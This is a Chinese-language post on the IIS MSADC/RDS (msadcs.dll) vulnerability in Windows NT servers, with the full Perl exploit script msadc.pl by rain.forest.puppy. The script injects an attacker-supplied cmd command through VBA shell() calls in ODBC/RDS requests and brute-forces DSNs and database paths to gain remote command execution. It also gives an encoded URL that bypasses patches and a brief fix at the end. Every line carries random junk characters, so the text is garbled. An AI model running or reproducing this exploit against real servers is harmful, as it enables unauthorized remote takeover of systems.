IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
}g 2l
ni &MONg=s3 涉及程序：
p .~5k Microsoft NT server
`Y '-2Fv %3K'[2F 描述：
4;IZ}9|G 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
>;xkiO>Y O]25 {L 详细：
I|/|\ 如果你没有时间读详细内容的话，就删除:
eNFA.*p< c:\Program Files\Common Files\System\Msadc\msadcs.dll
85FzIX-F % 有关的安全问题就没有了。
^(qR({cX nu16L$ ] 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
P^BSl7cT KWw?W1H 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
z5f3T D6, 关于利用ODBC远程漏洞的描述，请参看:
; ?,'jI*1 m&_!*3BAG http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]7|qhAh< L X5Y. o& 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
b%j4W)Z http://www.microsoft.com/security/bulletins/MS99-025faq.asp uy=<n5`oNG Z= pvo TY 这里不再论述。
PB{5C*Y7^k Dx P65wU 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
$*9:a3>zny K}LF ${bS /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
. Eb=KG 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
cgQ2Wo7tCq Q# 4OgNt qyBo|AQ5 #将下面这段保存为txt文件，然后: "perl -x 文件名"
* ^\u%Ir" w*4sT+
P #!perl
sR$/z9w #
aU] nh. a # MSADC/RDS 'usage' (aka exploit) script
&e4EZ #
AeW_W0j # by rain.forest.puppy
X u{S4#1 #
yyjgPbLN= # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
61z^(F$@ # beta test and find errors!
z8PV&o ** n109R use Socket; use Getopt::Std;
Q>/[*( .Wd getopts("e:vd:h:XR", \%args);
%Bk PkQA YQ}IE[J} v print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
0t 00X/ .YIb ny1 if (!defined $args{h} && !defined $args{R}) {
qd
[Z\B print qq~
UO>S2 u Usage: msadc.pl -h <host> { -d <delay> -X -v }
RJOyPZ] -h <host> = host you want to scan (ip or domain)
P76QHBbl -d <seconds> = delay between calls, default 1 second
k8ymOx -X = dump Index Server path table, if available
VZU@G)rd -v = verbose
wOl]N2< -e = external dictionary file for step 5
iM{aRFL be&,V_F Or a -R will resume a command session
p-%m/d? ].
^e[v6 ~; exit;}
!m a'*X ]~m2#g% $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
-$j|&l if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
'A#l$pJp7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
|+Ub3<b[] if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
,09d" 7`X
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
=Wl}Pgo! if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
fh}j)*K8 |uln<nM9 if (!defined $args{R}){ $ret = &has_msadc;
K1fnHpK die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
-Wl79lE KrD?Z2x print "Please type the NT commandline you want to run (cmd /c assumed):\n"
(wEaw|Z x . "cmd /c ";
)u5+<OG}= $in=<STDIN>; chomp $in;
PPj0LFA $command="cmd /c " . $in ;
f.u+({"ql :]IY w!_-p if (defined $args{R}) {&load; exit;}
_i1x\Z~
N kT{d pGU9 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
+C9 l7 q &try_btcustmr;
G(7WU Mjl 9GVv[/NAb print "\nStep 2: Trying to make our own DSN...";
q*K.e5"' &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
o[K,( |1"n\4$ print "\nStep 3: Trying known DSNs...";
{o.i\"x; &known_dsn;
+#
tmsv]2 1bJrEXHXy print "\nStep 4: Trying known .mdbs...";
#ZpR. $`k &known_mdb;
7-MkfWH2b6 x-=qlg&EI if (defined $args{e}){
dy2<b+ .. print "\nStep 5: Trying dictionary of DSN names...";
SH M@H93 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
<bgFc[Z 6
VuMx7W1 print "Sorry Charley...maybe next time?\n";
$"x~p1P exit;
;_= +h,n *z\L ##############################################################################
HFrwf {J YST{
h{ sub sendraw { # ripped and modded from whisker
yixAG^< sleep($delay); # it's a DoS on the server! At least on mine...
$2gZpO| my ($pstr)=@_;
nJ~5ICyd socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
T0P_&E@X die("Socket problems\n");
ygfUy if(connect(S,pack "SnA4x8",2,80,$target)){
R8<P}mv select(S); $|=1;
;R{ffS6 print $pstr; my @in=<S>;
"iTi+UZxe select(STDOUT); close(S);
jr=erVHK return @in;
)*n2 ,n } else { die("Can't connect...\n"); }}
~5 b^Gvb? <;nhb ##############################################################################
[&a= vE YhNO{4D sub make_header { # make the HTTP request
vmK`QPu 2 my $msadc=<<EOT
$[DSe~ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
l^%W/b> ?b User-Agent: ACTIVEDATA
* k
^?L Host: $ip
* b+ ~@o Content-Length: $clen
_G=k^f_ Connection: Keep-Alive
H^C$2 f u ~q6?*5 ADCClientVersion:01.06
Ow4H7 sl Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
X[KHI1@w L9":= --!ADM!ROX!YOUR!WORLD!
_iZ_.3 Ip Content-Type: application/x-varg
ky-9I<Z,, Content-Length: $reqlen
x 2Cp{+} &+ zS4)UK EOT
&)v }oHy,m ; $msadc=~s/\n/\r\n/g;
9&} i[x4 return $msadc;}
DDwm;,eZ R\d)kcy4 ##############################################################################
sW]fPa(cn, aJ^RY5 sub make_req { # make the RDS request
=S:Snk% my ($switch, $p1, $p2)=@_;
R;EdYbiF b my $req=""; my $t1, $t2, $query, $dsn;
Y ]6kA5 yRv4,{B}X> if ($switch==1){ # this is the btcustmr.mdb query
G2BB]] m3 $query="Select * from Customers where City=" . make_shell();
Kk9W =vd $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
s'Wu \r' $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
n!$zO{P A9\(vxxOpC elsif ($switch==2){ # this is general make table query
W 2.Ap $query="create table AZZ (B int, C varchar(10))";
UY$Lqe~ $dsn="$p1";}
7 F @#6 tzV^.QWm elsif ($switch==3){ # this is general exploit table query
o{?R z3z $query="select * from AZZ where C=" . make_shell();
4RoE>m1[G $dsn="$p1";}
g,] GzHV1 ;fGh]i elsif ($switch==4){ # attempt to hork file info from index server
'$\O*e' $query="select path from scope()";
{f:%+h $dsn="Provider=MSIDXS;";}
WYXh1_nyk pW4$$2S ?9 elsif ($switch==5){ # bad query
/ U5!]7&gB $query="select";
RJk4 2;] $dsn="$p1";}
YwnYTt oZwu`~h Y $t1= make_unicode($query);
g ?i0WS $t2= make_unicode($dsn);
"9bd;Tt: $req = "\x02\x00\x03\x00";
vkE a [7 $req.= "\x08\x00" . pack ("S1", length($t1));
GW;O35
m $req.= "\x00\x00" . $t1 ;
#4Bw Yj(Sl $req.= "\x08\x00" . pack ("S1", length($t2));
NY3. ?@Z $req.= "\x00\x00" . $t2 ;
"1HKD $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
qe<aJn return $req;}
r: -,qy % "CF-K@th ##############################################################################
f'?FYBL yHYK,3/C, sub make_shell { # this makes the shell() statement
,,HoD~]rd return "'|shell(\"$command\")|'";}
f1,VbuS9I BOdd~f%&tn ##############################################################################
OD;F{Hc xh|<`>5 sub make_unicode { # quick little function to convert to unicode
&UfP8GE9 my ($in)=@_; my $out;
KI Xp+Z for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
]wm<$+@ return $out;}
;nbV-<e Jy?; < ##############################################################################
?8]g&V Q"F" 13 sub rdo_success { # checks for RDO return success (this is kludge)
<e'/z3TbRW my (@in) = @_; my $base=content_start(@in);
L-eO_tTh0 if($in[$base]=~/multipart\/mixed/){
<@H`5[R return 1 if( $in[$base+10]=~/^\x09\x00/ );}
{u)>W@Lr return 0;}
SS*3Qx:[ L~|_C Rw ##############################################################################
@<`P-+m #G!\MYfQt sub make_dsn { # this makes a DSN for us
@|'$k{i my @drives=("c","d","e","f");
D A_ }pS" print "\nMaking DSN: ";
c$^~7.~{Qy foreach $drive (@drives) {
b>]k=zd print "$drive: ";
^ DCBL&I my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
x|`BF%e/v "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
t 0.71( . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
r&3EM[*Iw $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
%fMFcL#h return 0 if $2 eq "404"; # not found/doesn't exist
N.UeuLz
if($2 eq "200") {
,xI
FF -[0 foreach $line (@results) {
9v@P|
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Kw=][}d`D } return 0;}
)}lO%B'K ^?5Ha gA ##############################################################################
PvB {@82 +; / s0 sub verify_exists {
D=@bP B> my ($page)=@_;
hg2UZ%
Y my @results=sendraw("GET $page HTTP/1.0\n\n");
10IX8 4 return $results[0];}
= P$Q;d W$xW9u8@+( ##############################################################################
*aW:Z6N QWwdtk sub try_btcustmr {
)|wC 1J!L my @drives=("c","d","e","f");
$O_{cSKg7 my @dirs=("winnt","winnt35","winnt351","win","windows");
ftxy]N LF 9";qR, foreach $dir (@dirs) {
21[=xboU print "$dir -> "; # fun status so you can see progress
d.yATP foreach $drive (@drives) {
of8
>xvE| print "$drive: "; # ditto
]w_JbFmT $reqlen=length( make_req(1,$drive,$dir) ) - 28;
*I.eCMDa $reqlenlen=length( "$reqlen" );
[\-)c[/ $clen= 206 + $reqlenlen + $reqlen;
` *",_RO; Y1G/1Z# 2 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
(f;.`W if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
l k.Mc6) else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
r;_*.|AH GBY{O2!3u ##############################################################################
w8cbhc ,H>'1~q sub odbc_error {
mO2u9?N my (@in)=@_; my $base;
#'dNSez 5 my $base = content_start(@in);
]Z?jo# F if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
.z[#j]k $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y({lE3P $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
pi5DD K $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I,W `s return $in[$base+4].$in[$base+5].$in[$base+6];}
d kg|
kw' print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
uCoy~kt292 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
ny:/a $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
RTr"#[ I ]a [Ngj ##############################################################################
t:"%d9]
OlP1Zd/l sub verbose {
MM6PaD{ my ($in)=@_;
-"rANP-UI return if !$verbose;
^hcK& print STDOUT "\n$in\n";}
c#-*]6x
&H[7UyC ##############################################################################
QXW> }GdKZ qOv`&%txW sub save {
Jl<pWjkZZ my ($p1, $p2, $p3, $p4)=@_;
P*n/qj8h open(OUT, ">rds.save") || print "Problem saving parameters...\n";
o8Yq3N + print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
G
> t close OUT;}
WO6R04+WV qM<CBcON ##############################################################################
m 48Ab` a 4n5i.; sub load {
Ibg~.>.u{ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
'61>.u:2 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
L+~XW'P? @p=<IN>; close(IN);
oqo7Ge2 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
jq%}=-%KE $target= inet_aton($ip) || die("inet_aton problems");
tz5\O } print "Resuming to $ip ...";
CB#B!;I8v $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]k8f1F if($p[1]==1) {
f@2F! $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Yv.7-DHNl $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Xl:. `{5L my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
A7 6H M@Q if (rdo_success(@results)){print "Success!\n";}
%aV~RB# else { print "failed\n"; verbose(odbc_error(@results));}}
^1y D&i'q elsif ($p[1]==3){
rv`GOta* if(run_query("$p[3]")){
1 @i/N print "Success!\n";} else { print "failed\n"; }}
Nt\0) &b elsif ($p[1]==4){
"'C5B>qO if(run_query($drvst . "$p[3]")){
9h/Hy aN print "Success!\n"; } else { print "failed\n"; }}
.>Qa3,v5 exit;}
v#EF klOP [8Fn0A ##############################################################################
k136n#KN1 Ri\\Yb sub create_table {
f!H/X%F my ($in)=@_;
'uF75C $reqlen=length( make_req(2,$in,"") ) - 28;
B <ue}t $reqlenlen=length( "$reqlen" );
Sp2DpGs~ $clen= 206 + $reqlenlen + $reqlen;
3 . K #, my @results=sendraw(make_header() . make_req(2,$in,""));
B#?rW*yEe return 1 if rdo_success(@results);
'S|7<<>4k my $temp= odbc_error(@results); verbose($temp);
+,cd$, 18 return 1 if $temp=~/Table 'AZZ' already exists/;
ra2{8 x return 0;}
wbvOf X ksTK'7* ##############################################################################
34Cnbtq^ P&Uj?et" sub known_dsn {
;/t~MH # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
%w?C)$Kn\ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
WZTAXOw "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
FmFjRYA W "banner", "banners", "ads", "ADCDemo", "ADCTest");
Z*a g{N r`\@Fv,&# foreach $dSn (@dsns) {
=k>fW7e print ".";
m41%?uC/ next if (!is_access("DSN=$dSn"));
3.1%L"r[) if(create_table("DSN=$dSn")){
) 7X$um print "$dSn successful\n";
RB6Q>3g if(run_query("DSN=$dSn")){
[%O f print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
pRzL}-[/v print "Something's borked. Use verbose next time\n";}}} print "\n";}
(>A Q\ MiR$ N ##############################################################################
r Nurzag 0b['{{X( sub is_access {
%~} , N my ($in)=@_;
W 1u!&:O $reqlen=length( make_req(5,$in,"") ) - 28;
v*&j A 8D $reqlenlen=length( "$reqlen" );
w!z* ?k=Da $clen= 206 + $reqlenlen + $reqlen;
Eg8b|!-')8 my @results=sendraw(make_header() . make_req(5,$in,""));
q6 ny2;/r my $temp= odbc_error(@results);
#kh:GAp] verbose($temp); return 1 if ($temp=~/Microsoft Access/);
KMK8jJ return 0;}
|f/Uzd ~ SUv ' cld ##############################################################################
P ]TT8Jgw {9X mFa sub run_query {
!Z
0U_*& my ($in)=@_;
k DXQpe $reqlen=length( make_req(3,$in,"") ) - 28;
;xiw yfqgE $reqlenlen=length( "$reqlen" );
;9~
WB X" $clen= 206 + $reqlenlen + $reqlen;
pwk Te my @results=sendraw(make_header() . make_req(3,$in,""));
~)n[V f return 1 if rdo_success(@results);
&]GR* a my $temp= odbc_error(@results); verbose($temp);
*X{7m]5 return 0;}
K&zW+C b 8};kNW^2m ##############################################################################
%-$BtR2@o U{/fY/kq sub known_mdb {
tTF< DD }8 my @drives=("c","d","e","f","g");
T?QW$cU!e: my @dirs=("winnt","winnt35","winnt351","win","windows");
5Zd oem my $dir, $drive, $mdb;
N / ' my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
.ZV='i()X j S[#R_ # this is sparse, because I don't know of many
sp
MYn&p my @sysmdbs=( "\\catroot\\icatalog.mdb",
q
|FOU "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
wy8Q=X:vP "\\system32\\certmdb.mdb",
dJ#go*Gn "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
wy
.96 ^< ;C IXo my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
J3~%9MCJ "\\cfusion\\cfapps\\forums\\forums_.mdb",
j7QK8O$XL "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
4/k`gT4 "\\cfusion\\cfapps\\security\\realm_.mdb",
&3;"$P "\\cfusion\\cfapps\\security\\data\\realm.mdb",
D~BL T xq "\\cfusion\\database\\cfexamples.mdb",
g4W/T "\\cfusion\\database\\cfsnippets.mdb",
FRajo~H "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
)Q RT/, ;c "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
}mzd23^W>P "\\cfusion\\brighttiger\\database\\cleam.mdb",
|Olz h63k: "\\cfusion\\database\\smpolicy.mdb",
`/'p1?Z " "\\cfusion\\database\cypress.mdb",
1G.?Y3DC< "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Z^z{,
u;! "\\website\\cgi-win\\dbsample.mdb",
2~l7WW+lx, "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
F_9
4k "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
k52IvB@2 ); #these are just
MmfBFt* foreach $drive (@drives) {
# ACT&J foreach $dir (@dirs){
sW'_ K.z foreach $mdb (@sysmdbs) {
[7d(P EQL` print ".";
*9uNM@7 &0 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
GlTpK^. print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Kw$@_~BJ6 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
:o8 |P print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
4hLk+ z<n } else { print "Something's borked. Use verbose next time\n"; }}}}}
@/ |g|4 <#4""FO* foreach $drive (@drives) {
-CuuO=h foreach $mdb (@mdbs) {
y`L.#5T print ".";
F[SZwMf29 if(create_table($drv . $drive . $dir . $mdb)){
xr]bH.> print "\n" . $drive . $dir . $mdb . " successful\n";
E : dN) if(run_query($drv . $drive . $dir . $mdb)){
ZI;*X~h print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
/9&! u )+ } else { print "Something's borked. Use verbose next time\n"; }}}}
l@* $C&E }
:" Otsb7 F' OO{nF ##############################################################################
o $W@@aM ( H&HSs sub hork_idx {
4x(m.u@ print "\nAttempting to dump Index Server tables...\n";
z-b78A/8 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
8a`3eM~?[ $reqlen=length( make_req(4,"","") ) - 28;
RXg\A!5GV $reqlenlen=length( "$reqlen" );
|aAyWK S $clen= 206 + $reqlenlen + $reqlen;
-j]c(Q MA] my @results=sendraw2(make_header() . make_req(4,"",""));
`B 4Ilh"d if (rdo_success(@results)){
~3M8"}X;L my $max=@results; my $c; my %d;
{6GX
?aw' for($c=19; $c<$max; $c++){
az:}RE3o $results[$c]=~s/\x00//g;
1 :$#a $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
>l><d!hw $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
wdfbl_`T $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
iQ(j_i'+!I $d{"$1$2"}="";}
_pZ
< foreach $c (keys %d){ print "$c\n"; }
A[^#8evaK } else {print "Index server doesn't seem to be installed.\n"; }}
R!QR@*N iu(obmh/o ##############################################################################
>r 7PK45.K ?d%{- sub dsn_dict {
=X^a open(IN, "<$args{e}") || die("Can't open external dictionary\n");
E;{CoL while(<IN>){
|h 6!b t!= $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
vA!IcDP" next if (!is_access("DSN=$dSn"));
:Ae#+([V if(create_table("DSN=$dSn")){
`^[Tu 1 print "$dSn successful\n";
{<@ud 0A:\ if(run_query("DSN=$dSn")){
.\T!oSb4[ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
W_E^+Wl@ print "Something's borked. Use verbose next time\n";}}}
v]EZYEXFL) print "\n"; close(IN);}
0m]QQGvJ{ F~f Br ##############################################################################
T9 & {s-3* ,$ /Ld76U sub sendraw2 { # ripped and modded from whisker
Gi X3c^V"1 sleep($delay); # it's a DoS on the server! At least on mine...
MGMJeq vr my ($pstr)=@_;
{ *F
=&D socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
9x!kvB6 die("Socket problems\n");
YW6a ?f^! if(connect(S,pack "SnA4x8",2,80,$target)){
@ Do.Wgt print "Connected. Getting data";
O50<h O]l open(OUT,">raw.out"); my @in;
_b&26!gl select(S); $|=1; print $pstr;
1u N;JN
`_ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
(}6\_k[}m close(OUT); select(STDOUT); close(S); return @in;
&U?4e'N)T } else { die("Can't connect...\n"); }}
{[tmz;C yP# Y:s ##############################################################################
.U=x2txb LEP TL#WT1 sub content_start { # this will take in the server headers
H=,>-eVv* my (@in)=@_; my $c;
xo k
T for ($c=1;$c<500;$c++) {
f4\$<g/~ if($in[$c] =~/^\x0d\x0a/){
jY%.t)>) if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
a u+Jz_$) else { return $c+1; }}}
A :KZyd"Z return -1;} # it should never get here actually
)Cj1VjAg
M0xhcU_ ##############################################################################
-*KKrte $%\6"P/64 sub funky {
qMVuFw Phi my (@in)=@_; my $error=odbc_error(@in);
yOQae m^O if($error=~/ADO could not find the specified provider/){
gAorb\iJ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Z;a)P.l.> exit;}
\1joW# if($error=~/A Handler is required/){
9%|skTgIqH print "\nServer has custom handler filters (they most likely are patched)\n";
^
'|y^t exit;}
LH_H
yP_ if($error=~/specified Handler has denied Access/){
z "yW):X print "\nServer has custom handler filters (they most likely are patched)\n";
,)*[Xa_n exit;}}
!ITM:% c}n66qJF5 ##############################################################################
OYt_i'Q 4hxP`! < sub has_msadc {
S-o )d my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
P HOngn my $base=content_start(@results);
q x1Js3% return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
j>;1jzr2} return 0;}
-ak. wwx\ FWW@t1) ########################
syg{qtBz^ 3e^0W_ >6 0(Y,Q(JTo& 解决方案：
= FV12(U 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
V6[jhdb 2、移除web 目录: /msadc
